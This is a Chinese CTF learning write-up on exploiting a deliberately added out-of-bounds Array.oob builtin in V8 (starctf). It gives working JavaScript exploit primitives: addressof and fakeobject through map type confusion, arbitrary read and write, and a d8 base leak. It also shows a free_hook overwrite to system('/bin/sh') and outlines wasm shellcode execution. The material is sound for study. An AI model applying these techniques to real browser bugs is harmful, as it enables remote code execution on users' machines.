CTF V8 pwn入门(一)

仍然是因为某些原因,需要学学浏览器pwn

环境

depot_tools建议直接去gitlab里下,github上这个我用魔法都没下下来

下完之后执行

echo 'export PATH=$PATH:"/root/depot_tools"' >> ~/.bashrc

路径换成自己的就ok了

然后是ninja

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/root/ninja"' >> ~/.bashr

没什么好说的,路径记得换成自己的

然后执行

fetch v8
cd v8

拉个v8源码下来,gclient sync似乎自动执行了,我亲测是这样的反正

然后你可以选择先编译个最新版的v8出来试试(编译这玩意是有点子慢的)

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

也可以选择直接编译题目的版本,一般题目会给commitid,比如我一会要学的第一道题starctf 的 oob题目,commitid是6dc88c191f5ecc5389dc26efa3ca0907faef3598,那就先这样再这样再这样。

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

环境差不多就先这些,后面遇到了再补充

starctf oob

这个题我真的是服了,切到对应版本以后,里面的代码居然有的是python2语法有的是python3语法,换了半天也没编译出来,还好手里有编译好的release版本,属实无语住了。

然后咱们看diff

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

csdn的markdown不支持diff语法,真丑啊。

+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);

这两行告诉我们作者给array添加了一个函数叫oob

下面是oob的具体实现

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

获取参数的数量,然后根据参数个数进行不同的操作
如果参数数量大于2则直接抛出undefined
如果参数数量小于等于2,则先把array转成doublearray
然后判断如果无额外参数(第一个是this),则是read功能,返回array[length]
如果传入了一个参数,则是write功能,将value写入到doublearray[length]中

diff文件到这里就解释完了

接下来熟悉熟悉v8对象的内存布局

var a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();

边写边记录,%DebugPrint可以打印对象的详细内存信息,%SystemBreak()可以下断点,用gdb调一下这段代码

gdb ./d8
set args --allow-natives-syntax ./test.js

调试的时候记得加上–allow-natives-syntax,这样才能用上面说的那两个调试函数。
在这里插入图片描述

这样就断下来了

由于这个题我没有debug版的d8可以用,所以debug_print的结果看不到了,也不能说看不到,不过信息非常少:
在这里插入图片描述
十分穷酸,只给我把a这个大小为4的JSArray的地址打印出来了

但是我依然可以使用一些命令来查看:

pwndbg> job 0x2bb952fcde81
0x2bb952fcde81: [JSArray]
 - map: 0x025e82cc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1e15429d1111 <JSArray[0]>
 - elements: 0x2bb952fcde51 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x291530640c71 <FixedArray[0]> {
    #length: 0x145325ac01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2bb952fcde51 <FixedDoubleArray[4]> {
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4
 }

比如使用job命令查看对象,可以看到有几个数据类型:map,prototype,elements等
这里解释一下为什么这么多以1结尾的地址,因为v8会用把指针用最低比特置1的方式进行标记。
这些属性的含义如下:

map:定义了如何访问对象
prototype:对象的原型(如果有)
elements:对象的地址
length:长度
properties:属性,存有map和length

从数据中也能看出来,当我们声明了一个对象的时候,真正的数据是存放在elements所指向的地址中的。还要注意一件事情,那就是elements的地址和对象本身的地址的关系:

对象本身的地址为0x2bb952fcde81

其对应的elements的地址为0x2bb952fcde51

elements的结构为:

pwndbg> job 0x2bb952fcde51
0x2bb952fcde51: [FixedDoubleArray]
 - map: 0x2915306414f9 <Map>
 - length: 4
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4

由一个map地址和具体的数据组成,所以说当我们申请一个对象的时候,v8先申请了一个elements用于存放数据,然后紧接着又申请了一块内存用于存放对象本身的结构信息。

elements先说到这里,接下来说一说map的结构,以数组本身的map为例:

pwndbg> job 0x025e82cc2ed9
0x25e82cc2ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x025e82cc2e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x145325ac0609 <Cell value= 1>
 - instance descriptors #1: 0x1e15429d1f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x1e15429d1eb9 <TransitionArray[4]>Transition array #1:
     0x291530644ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x025e82cc2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x1e15429d1111 <JSArray[0]>
 - constructor: 0x1e15429d0ec1 <JSFunction Array (sfi = 0x145325ac6791)>
 - dependent code: 0x2915306402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

一个map里包含了一系列信息如:
对象的动态类型,即String,Uint8Array,HeapNumber等。
对象的大小(以字节为单位)
对象的属性及其存储位置
数组元素的类型,例如,unboxed的双精度数或带标记的指针
对象的原型(如果有)

map决定了如何访问一个对象,也标识了一个对象的类型。

再来看看properties的结构:

pwndbg> job 0x291530640c71
0x291530640c71: [FixedArray]
 - map: 0x291530640801 <Map>
 - length: 0

它的结构就相对来说简单很多,里面只有一个map和一个length,后面有用到再细说,先混个脸熟。

大致熟悉了一下v8里的一些比较重要的数据类型以及对象的结构,接下来回想一下diff,既然是作者自己给array添加的函数,那必然意味着存在漏洞,write的功能是把一个用户自定义的value写入到doublearray[length]的位置,但是众所周知数组下标是0~length-1,所以这里其实相当于发生了一个越界写,同样的read那里也存在着一个越界读。

刚才我们提到,当申请一个array的时候,程序是先申请elements,然后再申请对象结构,而对象结构是以一个map开头的,当我们修改数据的时候,实际上是在修改elements,如果我们越界修改了elements,刚好就会覆盖掉这个对象本身的map地址,所以相当于我们有了读取所申请对象的map地址以及任意修改此map地址的权限。这就是本题的漏洞所在。

写个代码测试一下是否真的能修改map的值
先来点辅助函数尝尝,因为无论是越界读还是越界写都是浮点数形式,所以需要辅助函数来帮助我们在整数和浮点数之间转换,方法就是开一块空间让整数和浮点数共用,然后转一下就行。

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
//
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
//
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}  

var a=[1,2,3,4]
var map_addr=f2i(a.oob())
console.log("[*] oob return data: "+hex(map_addr));
a.oob(i2f(0x6161616161616161n));
%DebugPrint(a);
%SystemBreak();

然后就翻车了,如图所示
在这里插入图片描述

可以看到之前我们用浮点数组尝试的时候,elements下面紧挨着的就是对象结构,也正是这点能够让我们越界一个下标读写就能读写到本对象的map信息,但是这里情况有变?假定v8对于对象的内存分配方式不变,那么elements是不是有点太大了,如果是这种情况那么我们越界一个下标读写就读写不到本对象的map了。参考的几篇文章似乎也没有在这里提到这个问题,可能因为他们没有像我一样傻到用全是整数的数组进行测试吧。

经过查询发现,原来都是整数的数组和包含了浮点数的数组是两种类型的数据,从map信息就能够看出来

const array = [1, 2, 3];
// elements 类型: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements 类型: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements 类型: PACKED_ELEMENTS

v8都有哪些数组类型可以看这个图
在这里插入图片描述

注意这里的速度由上至下是越来越慢的,并且降级是不可逆的

不管怎么样这个整数array的大小总归是不太对劲的,于是用tele查看一下内存

在这里插入图片描述
发现了奇怪的东西,前面几个数据都是很熟悉的elements的map,length以及data,为什么data后面又接了个FixedArray类型的map,难道下面其实另有一块结构,job一下看看

pwndbg> job 0xda69c08dee9
0xda69c08dee9: [FixedArray]
 - map: 0x390f81b80851 <Map>
 - length: 4
           0: 0x2584ea1c3b29 <SharedFunctionInfo>
           1: 0x0da69c08d029 <String[474]\: var buf =new ArrayBuffer(16);\nvar float64 = new Float64Array(buf);\nvar bigUint64 = new BigUint64Array(buf);\n//\nfunction f2i(f)\n{\n    float64[0] = f;\n    return bigUint64[0];\n}\n// \nfunction i2f(i)\n{\n    bigUint64[0] = i;\n    return float64[0];\n}\n//\nfunction hex(i)\n{\n    return i.toString(16).padStart(16, "0");\n}\n\nvar a=[1,2,3,4]\nvar map_addr=f2i(a.oob())\nconsole.log("[*] oob return data: "+hex(map_addr));\n//a.oob(i2f(0x6161616161616161n));\n%DebugPrint(a);\n%SystemBreak();>
           2: 0
           3: -1

看完一整个呆住,这怎么还有我js程序的源码啊,好好好

总之申请一个PACKED_SMI_ELEMENTS的时候这结构肯定是多东西了,至于为什么会多就不是我一个初学者要去探究的了,等多了解了解v8内存申请规则可能就明白了吧。

回到这道题目,想要完成上述操作,大家还请记得申请带浮点数的数组hhhh

var a=[1.1,2,3,4]
var map_addr=f2i(a.oob())
console.log("[*] oob return data: "+hex(map_addr));
%DebugPrint(a);
%SystemBreak();

代码换成这样,再来试试能不能读取到map
在这里插入图片描述

pwndbg> job 0x03cc43b0e0b1
0x3cc43b0e0b1: [JSArray]
 - map: 0x247041f42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2e4730811111 <JSArray[0]>
 - elements: 0x03cc43b0e081 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x15bfe08c0c71 <FixedArray[0]> {
    #length: 0x29e3aa0001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x03cc43b0e081 <FixedDoubleArray[4]> {
           0: 1.1
           1: 2
           2: 3
           3: 4
 }

这次就比较成功的读取到map了

再来试试对象数组

var a=[1.1,2,3,4]
var b={"x":1}
var c=[a,b]
var map_addr=f2i(a.oob())
console.log("[*] oob return data: "+hex(map_addr));
%DebugPrint(c);
%SystemBreak();

可以看到对象数组的结构也是elements和map紧邻着的

pwndbg> job 0x217d8930e9b1
0x217d8930e9b1: [JSArray]
 - map: 0x230184202f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0003238d1111 <JSArray[0]>
 - elements: 0x217d8930e991 <FixedArray[2]> [PACKED_ELEMENTS]
 - length: 2
 - properties: 0x1aa8b4cc0c71 <FixedArray[0]> {
    #length: 0x347bb83401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x217d8930e991 <FixedArray[2]> {
           0: 0x217d8930e921 <JSArray[4]>
           1: 0x217d8930e941 <Object map = 0x23018420ab39>
 }

既然能够修改map,而v8在解析对象的时候又依赖于map,那么我们来尝试进行一下类型混淆。

之前想将map修改为0x6161616161616161,但是走到下一个断点之前就会段错误,所以还是老老实实的合理进行类型混淆吧

浮点数组存储的是具体的浮点数值,对象数组存储的是每一个对象的地址,在使用的时候我们是无法获取到对象数组里的对象地址用作计算的,但是通过类型混淆可以做到。如果定义了一个对象数组,然后把数组的map改成浮点数组的map,此时对于任何一个放入对象数组的对象,都可以直接通过索引获取到具体的地址值。

顺理成章的我们也就写出了addressof函数,实现了获取任意对象的内存地址功能

var float_array=[1.1,2.2]
var int_array =[1,2]
var obj_array=[float_array,int_array]
var float_map=float_array.oob()//float
var obj_map=obj_array.oob()//float

function addressof(obj)
{
    obj_array[0]=obj;
    obj_array.oob(float_map);//set obj_array map
    var address=hex(f2i(obj_array[0])-1n);
    obj_array.oob(obj_map);//recovery obj_array map
    return address;
}
var a=[1,2,3,4]
console.log(addressof(a));
%DebugPrint(a);
%SystemBreak();

首先搞个float array和obj array出来,分别获取他俩的map,然后对于某个我们想获取地址的对象,只需要先放进obj array里,然后修改obj array的map为float map,直接读取obj array,就可以把地址当做一个浮点数直接leak出来了,可以看到我们通过类型混淆自己泄露出来的地址和debugprint出来的地址是一样的。

在这里插入图片描述

有了任意对象的地址泄露,接下来就想想是否可以伪造一个object,和地址泄露逻辑相反,如果我们写好一个浮点数组,保证里面(elements)是一个完整的对象结构,通过addressof函数获取浮点数组的地址,再利用elements和对象结构偏移可计算的特点获取到elements的地址,填到之前申请的全局变量float array中,然后修改float array的map为obj map,再通过索引将其取出,此时就把原来的数据完全可控的elements伪造成了一个object。

按照上述思路写出fakeobject函数

function fakeobject(obj_address)
{
    float_array[0]=i2f(obj_address+1n);
    float_array.oob(obj_map);
    var fakeobj=float_array[0];
    float_array.oob(float_map);
    return fakeobj;
}

伪造对象的能力,回归到漏洞利用上来,肯定还是要关注任意地址读写这件事,我们知道一个数组的读写,当其他字段都没有被破坏的情况下,其实就是在操作elements里的元素,所以我们只需要在伪造对象的时候,将elements指针指向想要进行读写的address,理论上来讲就可以实现任意地址的读写。

理论可行,实践一下,首先观察结构

pwndbg> job 0x14f08f6cec31
0x14f08f6cec31: [JSArray]
 - map: 0x38e442282ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x27efc09d1111 <JSArray[0]>
 - elements: 0x14f08f6cec01 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x03d4acf00c71 <FixedArray[0]> {
    #length: 0x05720a8401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x14f08f6cec01 <FixedDoubleArray[4]> {
           0: 1.1
           1: 2
           2: 3
           3: 4
 }
pwndbg> job 0x14f08f6cec01
0x14f08f6cec01: [FixedDoubleArray]
 - map: 0x03d4acf014f9 <Map>
 - length: 4
           0: 1.1
           1: 2
           2: 3
           3: 4
pwndbg> 

obj的地址距离elements的头部是(8数据个数+0x10),elements存储的结构是map,length,data,所以实际数据的位置应该是obj地址-8n

先按照格式在float array中伪造一个float obj出来

var fake_array = [
    float_array_map,
    i2f(0n),//无原型
    i2f(0x41414141n),//fake obj's elements ptr
    i2f(0x1000000000n),//fake obj length
    1.1,
    2.2
];

上面我们伪造的是一个无原型的float array
然后获取fake obj,构造read64函数并进行验证

var fake_obj_address=addressof(fake_array)-6n*8n;
var fake_obj=fakeobject(fake_obj_address);
function read64(address)
{
    fake_array[2]=i2f(address-0x10n+1n);
    data=f2i(fake_obj[0]);
    return data;
}

var target=[1,2,3,4];
var target_addr=addressof(target);
var leak_data=read64(target_addr);
console.log("[*] leak from: 0x" +hex(target_addr) + ": 0x" + hex(leak_data));
%DebugPrint(target);
%SystemBreak();

通过构建好的read64函数,尝试获取target的map值

在这里插入图片描述

pwndbg> job 0x0a97e720f019
0xa97e720f019: [JSArray]
 - map: 0x2641d8d02d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x158588d11111 <JSArray[0]>
 - elements: 0x0a97e720e399 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 4
 - properties: 0x3d2acc240c71 <FixedArray[0]> {
    #length: 0x382150f401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0a97e720e399 <FixedArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 4
 }

非常完美的获取到了target对象的map值,至此获得了任意地址读功能,接下来的任意地址写功能思路相同,直接构建就好

function write64(address,value)
{
    fake_array[2]=i2f(address-0x10n+1n);
    fake_obj[0]=i2f(value);
}

但是这种方式进行任意地址写会存在一些问题在写0x7fxxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。因为write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0

解决:DataView对象中的backing_store会指向申请的data_buf(backing_store相当于我们的elements),修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
    write64(buf_backing_store_addr, addr);
    data_view.setBigUint64(0, data, true);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

一种改进任意地址写的方法,是不涉及漏洞思路但是值得收藏的工具类代码

有了任意地址读写,接下来就要考虑最终目标get shell了

get shell的方式有两种,既可以控制free_hook为system,执行system(“/bin/sh”),也可以直接用wasm执行shellcode

首先是控制free_hook的方式

首先肯定是泄露libc的地址,先来看看栈空间里都有些什么:
在这里插入图片描述

在我们申请的临时变量上方是有代码段地址的,把这种0x55或者0x56开头的地址泄露出来,然后减去偏移就可以计算出代码基地址,从而得到got表地址,最后达到泄露libc的目的。

while(1)
{
    var data=read64(target_addr);
    if(((data&0x0000ff0000000fffn)==0x0000550000000830n)||((data&0x0000ff0000000fffn)==0x0000560000000830n))
    {
        codebase=data;
        break;
    }
    target_addr-=8n;
}

利用类似这种方式从当前变量栈地址开始向上搜索。

但是这种泄露libc的方式不是很稳定,如果栈上方真的就没有什么稳定的d8代码段地址,我们就需要另一种能够稳定获得d8地址就方法,再回到数组的结构中:

pwndbg> job 0x0d58eb00f389
0xd58eb00f389: [JSArray]
 - map: 0x09d569182d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x037cdced1111 <JSArray[0]>
 - elements: 0x0d58eb00e5e9 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 4
 - properties: 0x18b956200c71 <FixedArray[0]> {
    #length: 0x2a2ccf5c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0d58eb00e5e9 <FixedArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 4
 }
pwndbg> job 0x09d569182d99
0x9d569182d99: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x18b9562004d1 <undefined>
 - prototype_validity cell: 0x2a2ccf5c0609 <Cell value= 1>
 - instance descriptors (own) #1: 0x037cdced1f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x037cdced1e59 <TransitionArray[4]>Transition array #1:
     0x18b956204ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x09d569182e89 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x037cdced1111 <JSArray[0]>
 - constructor: 0x037cdced0ec1 <JSFunction Array (sfi = 0x2a2ccf5c6791)>
 - dependent code: 0x18b9562002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
pwndbg> job 0x037cdced0ec1
0x37cdced0ec1: [Function] in OldSpace
 - map: 0x09d569182d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x037cdcec2109 <JSFunction (sfi = 0x2a2ccf5c3b29)>
 - elements: 0x18b956200c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: 0x037cdced1111 <JSArray[0]>
 - initial_map: 0x09d569182d99 <Map(PACKED_SMI_ELEMENTS)>
 - shared_info: 0x2a2ccf5c6791 <SharedFunctionInfo Array>
 - name: 0x18b956203599 <String[#5]: Array>
 - builtin: ArrayConstructor
 - formal_parameter_count: 65535
 - kind: NormalFunction
 - context: 0x037cdcec1869 <NativeContext[246]>
 - code: 0x3bc592106981 <Code BUILTIN ArrayConstructor>
 - properties: 0x037cdced1029 <PropertyArray[6]> {
    #length: 0x2a2ccf5c04b9 <AccessorInfo> (const accessor descriptor)
    #name: 0x2a2ccf5c0449 <AccessorInfo> (const accessor descriptor)
    #prototype: 0x2a2ccf5c0529 <AccessorInfo> (const accessor descriptor)
    0x18b956204c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
    0x18b956204f41 <Symbol: Symbol.species>: 0x037cdced0fd9 <AccessorPair> (const accessor descriptor)
    #isArray: 0x037cdced1069 <JSFunction isArray (sfi = 0x2a2ccf5c6829)> (const data field 1) properties[1]
    #from: 0x037cdced10a1 <JSFunction from (sfi = 0x2a2ccf5c6879)> (const data field 2) properties[2]
    #of: 0x037cdced10d9 <JSFunction of (sfi = 0x2a2ccf5c68b1)> (const data field 3) properties[3]
 }

 - feedback vector: not available
 pwndbg> job 0x3bc592106981
0x3bc592106981: [Code]
 - map: 0x18b956200a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7ffcffda4a78

Trampoline (size = 13)
0x3bc5921069c0     0  49baa02aad1604560000 REX.W movq r10,0x560416ad2aa0  (ArrayConstructor)
0x3bc5921069ca     a  41ffe2         jmp r10

Instructions (size = 28)
0x560416ad2aa0     0  493955d8       REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x560416ad2aa4     4  7405           jz 0x560416ad2aab  (ArrayConstructor)
0x560416ad2aa6     6  488bca         REX.W movq rcx,rdx
0x560416ad2aa9     9  eb03           jmp 0x560416ad2aae  (ArrayConstructor)
0x560416ad2aab     b  488bcf         REX.W movq rcx,rdi
0x560416ad2aae     e  498b5dd8       REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x560416ad2ab2    12  488bd1         REX.W movq rdx,rcx
0x560416ad2ab5    15  e926000000     jmp 0x560416ad2ae0  (ArrayConstructorImpl)
0x560416ad2aba    1a  90             nop
0x560416ad2abb    1b  90             nop


Safepoints (size = 8)

RelocInfo (size = 2)
0x3bc5921069c2  off heap target

在gdb中查看这样一条链子,array->map->constructor->code
可以看到在code中存在一些代码,这里可能还不太直观,直接用tele查看内存看看

pwndbg> tele 0x3bc592106980 50
00:0000│  0x3bc592106980 —▸ 0x18b956200a31 ◂— 0x18b9562001
01:0008│  0x3bc592106988 —▸ 0x18b956202c01 ◂— 0x18b9562007
02:0010│  0x3bc592106990 —▸ 0x18b956200c71 ◂— 0x18b9562008
03:0018│  0x3bc592106998 —▸ 0x18b956202791 ◂— 0x18b9562007
04:0020│  0x3bc5921069a0 —▸ 0x2a2ccf5d16a9 ◂— 0xd1000018b9562014
05:0028│  0x3bc5921069a8 ◂— or eax, 0xc6000000 /* '\r' */
06:0030│  0x3bc5921069b0 ◂— sbb al, 0
07:0038│  0x3bc5921069b8 ◂— and al, 0 /* '$' */
08:0040│  0x3bc5921069c0 ◂— movabs r10, 0x560416ad2aa0
09:0048│  0x3bc5921069c8 ◂— add byte ptr [rax], al
0a:0050│  0x3bc5921069d0 ◂— add byte ptr [rax], al
0b:0058│  0x3bc5921069d8 ◂— add byte ptr [rax], al
0c:0060│  0x3bc5921069e0 —▸ 0x18b956200a31 ◂— 0x18b9562001
0d:0068│  0x3bc5921069e8 —▸ 0x18b956202c01 ◂— 0x18b9562007
0e:0070│  0x3bc5921069f0 —▸ 0x18b956200c71 ◂— 0x18b9562008
0f:0078│  0x3bc5921069f8 —▸ 0x18b956202791 ◂— 0x18b9562007
10:0080│  0x3bc592106a00 —▸ 0x2a2ccf5d16c1 ◂— 0xd1000018b9562014
11:0088│  0x3bc592106a08 ◂— or eax, 0xc6000000 /* '\r' */
12:0090│  0x3bc592106a10 ◂— mov byte ptr [rcx], al
13:0098│  0x3bc592106a18 ◂— lahf 
14:00a0│  0x3bc592106a20 ◂— movabs r10, 0x560416ad2ae0

对于这样的汇编代码movabs r10, 0x560416ad2aa0
这个立即数看起来是不是非常像代码段的地址,没错它就是,也就是说通过一次次固定偏移的读操作,就可以稳定获取到一个代码段的地址,来试试看!

 function leak_d8base(obj_addr)
{
    var map_r=read64(obj_addr)-1n;
    console.log("[*] leak map_r: 0x"+hex(map_r));
    var constructor_r=read64(map_r+0x20n)-1n;
    console.log("[*] leak constructor_r: 0x"+hex(constructor_r));
    var code=read64(constructor_r+0x30n)-1n;
    console.log("[*] leak code: 0x"+hex(code));
    var d8base=read64(code+0x42n);
    console.log("[*] leak d8base: 0x"+hex(d8base));
    return d8base-0xfafaa0n;
}
var target=[1,2,3,4];
var target_addr=addressof(target);
var d8base=leak_d8base(target_addr);
console.log("[*] leak d8base: 0x"+hex(d8base));

在这里插入图片描述

可以看到已经成功泄露出d8base了,并且非常稳定,接下来的事情就非常好做了,只需要修改free_hook为system然后new一个字符串/bin/sh\x00,在字符串销毁的时候就会触发free。

function leak_d8base(obj_addr)
{
    var map_r=read64(obj_addr)-1n;
    var constructor_r=read64(map_r+0x20n)-1n;
    var code=read64(constructor_r+0x30n)-1n;
    var d8base=read64(code+0x42n);
    return d8base-0xfafaa0n;
}
function get_shell(){
    var shell_str = new String("/bin/sh\0");
}
var target=[1,2,3,4];
var target_addr=addressof(target);
var d8base=leak_d8base(target_addr);
console.log("[*] leak d8base: 0x"+hex(d8base));
var free_got=d8base+0x12955e8n;
var libcbase=read64(free_got)-0xa53e0n;
var system=libcbase+0x50d70n;
console.log("[*] leak libcbase: 0x"+hex(libcbase));
console.log("[*] leak system: 0x"+hex(system));
var free_hook=libcbase+0x2204a8n;
console.log("[*] leak free_hook: 0x"+hex(free_hook));
writeDataview(free_hook,system);
//%DebugPrint(target);
%SystemBreak();
get_shell();

不过现在我的虚拟机用的是ubuntu22,所以
其实free_hook控制程序执行流的方法已经走不通了,为了验证我们是否成功修改了free_hook,只能是用gdb看一看了,getshell在我现在这个版本的libc上已经不行了。
在这里插入图片描述

接下来是第二种getshell的方法,即直接执行shellcode

运行shellcode的方式是wasm

wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。

步骤:

1、 首先写一段wasm代码到内存中;

2、 然后通过addressOf找到存放的wasm的内存地址

3、 接着通过任意地址写原语用shellcode替换原本wasm的代码内容;

4、 最后调用wasm 的函数接口即可触发调用shellcode

通过Function -> shared_info -> WasmExportedFunctionData -> instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页地址起始地址

起始地址的读取和上面我们稳定获取d8base的方式基本相同,通过链子不断深入,这里直接封装成函数:

